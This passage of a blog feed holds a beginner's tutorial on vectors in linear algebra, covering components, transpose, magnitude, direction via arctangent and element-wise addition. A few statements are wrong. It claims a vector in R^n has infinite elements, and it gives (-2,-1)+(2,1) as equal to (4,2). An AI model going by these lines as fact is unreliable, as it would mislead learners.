<em>b</em>. Since the equation has <em>&#8722;b </em>(negative <em>b</em>), multiplying both sides of the equation by &#8722;1 will make <em>b </em>positive.</p><p></p></div></div>]]></content:encoded></item><item><title><![CDATA[Vectors in Linear Algebra]]></title><description><![CDATA[Magnitude, Direction, Transpose, and Operations in Field.]]></description><link>https://www.emdeh.com/p/vectors-in-linear-algebra</link><guid isPermaLink="false">https://www.emdeh.com/p/vectors-in-linear-algebra</guid><dc:creator><![CDATA[emdeh]]></dc:creator><pubDate>Mon, 19 Aug 2024 05:25:11 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/c80b170a-97e3-43dc-bcf0-048d4eb5b48f_1024x1024.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1>What&#8217;s a vector</h1><p>Simply put, a vector is a list of ordered numbers. Each <strong>element</strong> in a vector is also called a <strong>component</strong> or <strong>coordinate</strong>. </p><p>In the example below, a vector (<em>x</em>) is in the <em>field of Real Numbers</em> with <em>n-</em>dimensions.<a class="footnote-anchor" data-component-name="FootnoteAnchorToDOM" id="footnote-anchor-1" href="#footnote-1" target="_self">1</a> </p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;\\vec{x}  \\in \\mathbb{R}^n&quot;,&quot;id&quot;:&quot;ONFTZMUDNB&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>The vector has infinite elements, as denoted by the ellipsis.</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;\\vec{x} = \\begin{pmatrix} x_1 \\\\ x_2 \\\\ x_3 \\\\ \\vdots \\end{pmatrix} &quot;,&quot;id&quot;:&quot;LREFZQWUUJ&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>The following vector within a 2-dimensional field of Real Numbers has two elements.</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;\\vec{x} = \\begin{pmatrix} 4 \\\\ 2 \\end{pmatrix} \\in \\mathbb{R}^2&quot;,&quot;id&quot;:&quot;BTQMMCZTVJ&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>This essentially represents a line on a 2-dimensional plane.</p><p>The elements of a vector give instructions on how to get from the origin of a coordinate grid (e.g., <em>x = </em>0, <em>y = </em>0). In other words, where the tail of the vector begins, to its tip.</p><p>The first number is how far to move to the right or left along the <em>x</em>-axis, while the second is how far to move up or down the <em>y-axis</em>.</p><p>In the vector above, the first element, 4, represents the movement along an <em>x-</em>axis. The second element, 2, represents the movement along a <em>y-</em>axis.</p><p>Visually, this could look like the following:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!2OkW!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc86f8320-9737-46b7-aed5-deb36fd3a36c_841x831.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!2OkW!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc86f8320-9737-46b7-aed5-deb36fd3a36c_841x831.png 424w, https://substackcdn.com/image/fetch/$s_!2OkW!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc86f8320-9737-46b7-aed5-deb36fd3a36c_841x831.png 848w, https://substackcdn.com/image/fetch/$s_!2OkW!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc86f8320-9737-46b7-aed5-deb36fd3a36c_841x831.png 1272w, https://substackcdn.com/image/fetch/$s_!2OkW!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc86f8320-9737-46b7-aed5-deb36fd3a36c_841x831.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!2OkW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc86f8320-9737-46b7-aed5-deb36fd3a36c_841x831.png" width="841" height="831" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c86f8320-9737-46b7-aed5-deb36fd3a36c_841x831.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:831,&quot;width&quot;:841,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:35555,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!2OkW!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc86f8320-9737-46b7-aed5-deb36fd3a36c_841x831.png 424w, https://substackcdn.com/image/fetch/$s_!2OkW!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc86f8320-9737-46b7-aed5-deb36fd3a36c_841x831.png 848w, https://substackcdn.com/image/fetch/$s_!2OkW!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc86f8320-9737-46b7-aed5-deb36fd3a36c_841x831.png 1272w, https://substackcdn.com/image/fetch/$s_!2OkW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc86f8320-9737-46b7-aed5-deb36fd3a36c_841x831.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Starting from <em>B, </em>there are four movements to the right and then two movements vertically to reach <em>A.</em></p><p>Mathematically, this would appear as:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;(-2, -1) + (2, 1) = \\vec{x} = \\begin{pmatrix} 4 \\\\ 2 \\end{pmatrix}&quot;,&quot;id&quot;:&quot;INOZYZPPGP&quot;}" data-component-name="LatexBlockToDOM"></div><h1>Vector transpose</h1><p>Vectors can be <strong>column vectors </strong>or <strong>row vectors. </strong>In Linear Algebra, a <strong>transpose </strong>is when a column vector takes the shape of a row vector or vice versa. The mathematical notation for a transpose is <em>T.</em></p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot; \\begin{pmatrix} a_1 \\\\ a_2  \\\\ \\vdots \\\\a_n\\end{pmatrix}^T = \\begin{pmatrix} a_1 &amp; a_2 &amp; \\cdots\\ a_n\\end{pmatrix}&quot;,&quot;id&quot;:&quot;LDYYCFWODL&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>In other words:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;\\vec{x}^T = \\vec{y}&quot;,&quot;id&quot;:&quot;JLUORAQWPL&quot;}" data-component-name="LatexBlockToDOM"></div><h2>Magnitude</h2><p>Each vector holds a <em><strong>magnitude</strong></em>.</p><p>The symbol used for <strong>magnitude </strong>is || ||.</p><p>The Pythagorean Theorem calculates the magnitude of a <strong>2D </strong>vector.</p><p>For example, take the vector:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;\\vec{x} = \\begin{pmatrix} 4 \\\\ 2 \\end{pmatrix}&quot;,&quot;id&quot;:&quot;PZJTIQZEDZ&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>The magnitude would be calculated as:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;\\| \\vec{x} \\|= \\sqrt{4^2 + 2^2}&quot;,&quot;id&quot;:&quot;EEFMKJKNAF&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>Where 4 is the horizontal element (e.g., four movements along the <em>x-</em>axis) and 2 is the vertical element (e.g., two movements along the <em>y</em>-axis).</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!ey9R!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3c782cda-b8e9-4425-9794-887a20b7d8d1_1035x1027.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!ey9R!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3c782cda-b8e9-4425-9794-887a20b7d8d1_1035x1027.png 424w, https://substackcdn.com/image/fetch/$s_!ey9R!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3c782cda-b8e9-4425-9794-887a20b7d8d1_1035x1027.png 848w, https://substackcdn.com/image/fetch/$s_!ey9R!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3c782cda-b8e9-4425-9794-887a20b7d8d1_1035x1027.png 1272w, https://substackcdn.com/image/fetch/$s_!ey9R!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3c782cda-b8e9-4425-9794-887a20b7d8d1_1035x1027.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!ey9R!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3c782cda-b8e9-4425-9794-887a20b7d8d1_1035x1027.png" width="1035" height="1027" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3c782cda-b8e9-4425-9794-887a20b7d8d1_1035x1027.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1027,&quot;width&quot;:1035,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:37089,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!ey9R!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3c782cda-b8e9-4425-9794-887a20b7d8d1_1035x1027.png 424w, https://substackcdn.com/image/fetch/$s_!ey9R!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3c782cda-b8e9-4425-9794-887a20b7d8d1_1035x1027.png 848w, https://substackcdn.com/image/fetch/$s_!ey9R!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3c782cda-b8e9-4425-9794-887a20b7d8d1_1035x1027.png 1272w, https://substackcdn.com/image/fetch/$s_!ey9R!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3c782cda-b8e9-4425-9794-887a20b7d8d1_1035x1027.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h2>Direction</h2><p>Therefore, the angle created by moving along the two axes gives the <em><strong>direction</strong></em> of the vector. Looking at the vector visually, the angle is denoted by <em>&#952;.</em></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!1SeQ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0d7b88b7-ca5a-4a91-a969-465514e3ee10_1058x1043.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!1SeQ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0d7b88b7-ca5a-4a91-a969-465514e3ee10_1058x1043.png 424w, https://substackcdn.com/image/fetch/$s_!1SeQ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0d7b88b7-ca5a-4a91-a969-465514e3ee10_1058x1043.png 848w, https://substackcdn.com/image/fetch/$s_!1SeQ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0d7b88b7-ca5a-4a91-a969-465514e3ee10_1058x1043.png 1272w, https://substackcdn.com/image/fetch/$s_!1SeQ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0d7b88b7-ca5a-4a91-a969-465514e3ee10_1058x1043.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!1SeQ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0d7b88b7-ca5a-4a91-a969-465514e3ee10_1058x1043.png" width="1058" height="1043" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/0d7b88b7-ca5a-4a91-a969-465514e3ee10_1058x1043.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1043,&quot;width&quot;:1058,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:53940,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!1SeQ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0d7b88b7-ca5a-4a91-a969-465514e3ee10_1058x1043.png 424w, https://substackcdn.com/image/fetch/$s_!1SeQ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0d7b88b7-ca5a-4a91-a969-465514e3ee10_1058x1043.png 848w, https://substackcdn.com/image/fetch/$s_!1SeQ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0d7b88b7-ca5a-4a91-a969-465514e3ee10_1058x1043.png 1272w, https://substackcdn.com/image/fetch/$s_!1SeQ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0d7b88b7-ca5a-4a91-a969-465514e3ee10_1058x1043.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p></p><p>Trigonometry is used to calculate the angle:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;\\theta = \\tan^{-1}\\frac{y}{x}&quot;,&quot;id&quot;:&quot;HCBEEPHUTO&quot;}" data-component-name="LatexBlockToDOM"></div><p>Where <em><strong>y </strong>is </em>the short side of the triangle and <em><strong>x </strong></em><strong>is </strong>the long side.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!0ALu!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fff0d0980-a798-478d-ab61-0dadad48a899_1102x664.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!0ALu!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fff0d0980-a798-478d-ab61-0dadad48a899_1102x664.png 424w, https://substackcdn.com/image/fetch/$s_!0ALu!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fff0d0980-a798-478d-ab61-0dadad48a899_1102x664.png 848w, https://substackcdn.com/image/fetch/$s_!0ALu!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fff0d0980-a798-478d-ab61-0dadad48a899_1102x664.png 1272w, https://substackcdn.com/image/fetch/$s_!0ALu!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fff0d0980-a798-478d-ab61-0dadad48a899_1102x664.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!0ALu!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fff0d0980-a798-478d-ab61-0dadad48a899_1102x664.png" width="1102" height="664" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/ff0d0980-a798-478d-ab61-0dadad48a899_1102x664.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:664,&quot;width&quot;:1102,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!0ALu!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fff0d0980-a798-478d-ab61-0dadad48a899_1102x664.png 424w, https://substackcdn.com/image/fetch/$s_!0ALu!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fff0d0980-a798-478d-ab61-0dadad48a899_1102x664.png 848w, https://substackcdn.com/image/fetch/$s_!0ALu!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fff0d0980-a798-478d-ab61-0dadad48a899_1102x664.png 1272w, https://substackcdn.com/image/fetch/$s_!0ALu!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fff0d0980-a798-478d-ab61-0dadad48a899_1102x664.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>In this case:</p><p></p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;\\theta = \\tan^{-1}\\frac{2}{4}= 26.56505^\\circ\\&quot;,&quot;id&quot;:&quot;DRMMAFQVJO&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p></p><div><hr></div><h1>Operations in the field</h1><h2>Vector addition</h2><p>The mathematical definition of vector addition in the Real Numbers field is to add the elements entry by entry.</p><p>Take two vectors, for example:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;\\vec{x} = \\begin{pmatrix} a_1 \\\\ a_2 \\\\ a_3 \\\\ \\vdots \\\\ a_n \\end{pmatrix}  \\in \\mathbb{R}^n&quot;,&quot;id&quot;:&quot;SSWBGLHFLZ&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;\\vec{y} = \\begin{pmatrix} b_1 \\\\ b_2 \\\\ b_3 \\\\ \\vdots \\\\ b_n \\end{pmatrix}  \\in \\mathbb{R}^n&quot;,&quot;id&quot;:&quot;TSIUTCSBJS&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>The result of summing these two vectors will also be in the Real Numbers field.</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;\\vec{x} + \\vec{y} = \\begin{pmatrix} a_1 + b_1 \\\\ a_2 + b_2  \\\\ a_3 + b_3 \\\\ \\vdots \\\\ a_n + b_n \\end{pmatrix}  \\in \\mathbb{R}^n&quot;,&quot;id&quot;:&quot;DROKIMZQQE&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p></p><p>For example, take these two vectors:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;\\vec{x} = \\begin{pmatrix} 5 \\\\ 2 \\\\ \\end{pmatrix} &quot;,&quot;id&quot;:&quot;LEWXHCSMBG&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;\\vec{y} = \\begin{pmatrix} -4 \\\\ -1 \\\\ \\end{pmatrix} &quot;,&quot;id&quot;:&quot;FZPFTVWDBG&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>The <strong>sum of the first element:</strong></p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;a_1 + b_1&quot;,&quot;id&quot;:&quot;RVRDDSCKXI&quot;}" data-component-name="LatexBlockToDOM"></div><p>is:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;5+ -4 = 1&quot;,&quot;id&quot;:&quot;PDFEAJGDSE&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>The <strong>sum of the second element:</strong></p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;a_2 + b_2&quot;,&quot;id&quot;:&quot;MOLWNDKNSE&quot;}" data-component-name="LatexBlockToDOM"></div><p>is:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;2 + -1 = 1&quot;,&quot;id&quot;:&quot;QJLMGLPPSD&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>Therefore:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;\\vec{x} + \\vec{y} = \\begin{pmatrix} 1 \\\\ 1 \\\\ \\end{pmatrix} &quot;,&quot;id&quot;:&quot;DFVNAQCQWA&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>Visually, this is the same as moving the tail of the second vector to sit at the tip of the first.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!OpHo!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5291069-7fe3-4f9b-b0a4-bf5d6dca2468_913x843.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" 